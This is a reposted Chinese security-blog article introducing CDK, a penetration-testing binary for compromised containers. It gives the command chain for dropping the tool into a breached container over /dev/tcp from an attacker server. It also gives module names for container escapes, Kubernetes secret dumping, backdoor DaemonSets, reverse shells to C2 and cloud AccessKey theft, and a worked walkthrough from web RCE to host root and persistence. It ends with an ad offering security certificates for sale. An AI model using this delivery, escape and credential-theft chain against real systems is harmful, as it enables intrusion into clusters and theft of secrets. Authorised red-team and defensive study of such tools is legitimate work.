容器环境渗透测试瑞士军刀

admin 2026-03-03 04:43:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CDK是一款专为容器环境渗透测试设计的预编译二进制工具,无需wget/curl即可通过/dev/tcp投递到已沦陷容器内。它提供三大功能模块:Evaluate用于信息收集和弱点摸排,Exploit集成30多种容器逃逸、K8s攻击链及横向移动利用脚本,Tool则修复常用命令并提供API交互。工具支持从Dockerrunc漏洞到K8s持久化后门等多种攻击场景,并附有实战案例演示从RCE到宿主机逃逸的全过程。建议红队人员在授权测试中用于快速打点和内网渗透。 综合评分: 85 文章分类: 安全工具,渗透测试,红队,云安全,内网渗透


cover_image

容器环境渗透测试瑞士军刀

菜狗 菜狗

只会看监控的实习生

2026年2月27日 08:00 广东

⚡ 一句话定位

CDK 是一款预编译二进制工具,无需 wget/curl,通过 cat < /dev/tcp/ 即可投递到已沦陷容器内部,提供 30+ 容器逃逸 PoC、K8 s 攻击链、API 交互命令,红队打点必备。

📦 下载与植入(真实渗透场景)

  1. 公网服务器监听投递
# 攻击机(公网 VPS)
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -O cdk
nc -lvp 9999 < cdk

# 目标容器内(RCE 环境)
cat < /dev/tcp/(你的IP)/9999 > cdk
chmod a+x cdk
./cdk evaluate --full
  1. 直接下载(有网络环境)
# Alpine 容器(无 wget)
curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk

# 或 Docker cp 投递
docker cp cdk victim_container:/tmp/

🎯 三大功能模块

| 模块 | 用途 | 核心命令 | | — | — | — | | Evaluate | 信息收集,发现逃逸点 | cdk evaluate --full | | Exploit | 容器逃逸、持久化、横向移动 | cdk run <exp-name> | | Tool | 修复常用命令,API 交互 | cdk pscdk kcurl |

🔍 Evaluate – 容器弱点快速摸排

cdk evaluate [--full] &nbsp;# --full 包含文件扫描

检测项速览:

| 类别 | 检测点 | 是否支持 | | — | — | — | | OS 基础信息 | 内核版本、发行版 | ✅ | | Capabilities | 可用权限(CAP_SYS_ADMIN 等) | ✅ | | 挂载信息 | 敏感目录(/var/run/docker.sock) | ✅ | | Namespace | PID/IPC/Network 隔离状态 | ✅ | | 敏感服务 | sshd、docker daemon、frp | ✅ | | K8s 探测 | Api-server、Service-account、云厂商 Metadata | ✅ | | CVE 探测 | kube-proxy 绕过 (CVE-2020-8558) | ✅ |

💥 Exploit – 30+ 利用脚本一键执行

cdk run --list &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出所有 exp
cdk run <script-name> [options]

容器逃逸类

| 调用名 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| 漏洞/手法 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| 说明 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |
| ------------------------ | ---------------- | ------------------ |
| `runc-pwn` &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | CVE-2019-5736 &nbsp; &nbsp;| Docker runc 容器逃逸 &nbsp; |
| `shim-pwn` &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | CVE-2020-15257 &nbsp; | containerd-shim 逃逸 |
| `docker-sock-pwn` &nbsp; &nbsp; &nbsp; &nbsp;| Docker.sock 命令执行 | 挂载 docker.sock 时利用 |
| `mount-disk` &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | 特权容器挂载逃逸 &nbsp; &nbsp; &nbsp; &nbsp; | `--privileged` 模式 &nbsp;|
| `mount-cgroup` &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | Cgroup 逃逸 &nbsp; &nbsp; &nbsp; &nbsp;| 挂载 /sys/fs/cgroup &nbsp;|
| `rewrite-cgroup-devices` | 重写 Cgroup 访问设备 &nbsp; | 突破设备隔离 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |

K8s 攻击类

| 调用名 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| 功能 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | 说明 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|
| ------------------------ | ------------------ | --------------------- |
| `k8s-secret-dump` &nbsp; &nbsp; &nbsp; &nbsp;| 窃取 Secrets &nbsp; &nbsp; &nbsp; &nbsp; | 需要 Service-account 权限 |
| `k8s-configmap-dump` &nbsp; &nbsp; | 窃取 ConfigMap &nbsp; &nbsp; &nbsp; | 同上 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|
| `k8s-backdoor-daemonset` | 部署后门 Pod &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | 持久化常驻 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |
| `k8s-shadow-apiserver` &nbsp; | 部署影子 Api-server &nbsp; &nbsp;| 隐蔽控制 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|
| `k8s-mitm-clusterip` &nbsp; &nbsp; | CVE-2020-8554 MITM | 劫持 ClusterIP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|

信息窃取 & 横向移动

| 调用名 | 功能 | 说明 | | — | — | — | | registry-brute | 暴力破解镜像源账号 | 内网 Harbor/Nexus | | ak-leakage | 扫描 AK 及 API 凭据 | 云厂商 AccessKey | | service-probe | K8s 组件探测 | 发现 Api-server/kubelet | | reverse-shell | 反弹 Shell | 外联 C2 |

🛠️ Tool – 常用命令修复

| 子命令 | 功能 | 示例 | | — | — | — | | cdk ps | 进程信息 | cdk ps | | cdk ifconfig | 网络信息 | cdk ifconfig | | cdk vi <file> | 文本编辑 | cdk vi /etc/passwd | | cdk nc [options] | TCP 隧道 | cdk nc -l 9999 | | cdk probe <ip> <ports> | 端口扫描 | cdk probe 10.0.1.0-255 80,8080-9443 50 1000 | | cdk kcurl (get|post) <url> | K8s API 请求 | cdk kcurl get https://kubernetes.default.svc/api/v1/namespaces | | cdk ucurl (get|post) <socket> <uri> | Docker Unix Socket | cdk ucurl get /var/run/docker.sock /containers/json |

🎮 实战案例(从攻入到逃逸)

场景:某云服务商容器 Web 应用 RCE

# Step 1: 确认环境
./cdk evaluate --full
# 输出:CAP_SYS_ADMIN, /var/run/docker.sock mounted, K8s service-account token found

# Step 2: 逃逸(docker.sock 利用)
./cdk run docker-sock-pwn
# 成功:获得宿主机 root shell

# Step 3: 持久化(K8s 环境)
./cdk run k8s-backdoor-daemonset
# 部署 DaemonSet,所有新 Pod 自动注入后门

# Step 4: 横向移动(内网探测)
./cdk probe 10.244.0.0/16 22,6379,9200,8080 100 500
# 发现:Redis 未认证、ES 未授权

# Step 5: 窃取云凭证
./cdk run ak-leakage
# 输出:AKIAIOSFODNN7EXAMPLE (AWS AccessKey)

📥 下载地址

| 平台 | 文件名 | 下载 | | — | — | — | | Linux x86_64 | cdk_linux_amd64 | GitHub Releases | | Linux Static | cdk_linux_static_amd64 | 无 libc 环境专用 | | Windows | cdk_windows_amd64.exe | Windows 容器 | | macOS | cdk_darwin_amd64 | macOS 测试 |

关注回复CDK获取

低价出售安全证书不限于cisp、pte以及cnvd&c2nvd等请Vme~建了一个项目群,想进群的请回复进群即可


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:只会看监控的实习生 菜狗 菜狗《容器环境渗透测试瑞士军刀》

评论:0   参与:  0